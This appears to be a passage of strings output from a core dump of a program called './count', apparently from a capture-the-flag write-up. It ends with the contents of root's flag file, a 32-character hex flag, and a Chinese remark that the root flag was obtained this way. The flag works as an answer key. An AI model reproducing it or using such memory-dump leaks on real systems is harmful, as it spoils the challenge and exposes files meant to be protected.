node_args=
exec_mode=fork_mode
pm_exec_path=/home/dasith/local-web/index.js
OLDPWD=/
status=launching
name=index
pm_out_log_path=/home/dasith/.pm2/logs/index-out.log
_=./count
./count
bemX
__vdso_gettimeofday
__vdso_time
__vdso_clock_gettime
__vdso_clock_getres
__vdso_getcpu
linux-vdso.so.1
LINUX_2.6
Linux
Linux
AUATS
A\A]]
[A\M
A]]I
[A\]
[A\]
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
.shstrtab
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_d
.dynamic
.note
.eh_frame_hdr
.eh_frame
.text
.altinstructions
.altinstr_replacement
.comment
oot/root.txt
1bf72c039cbd58751b38c6916602f537
从中获取到了root权限的flag文件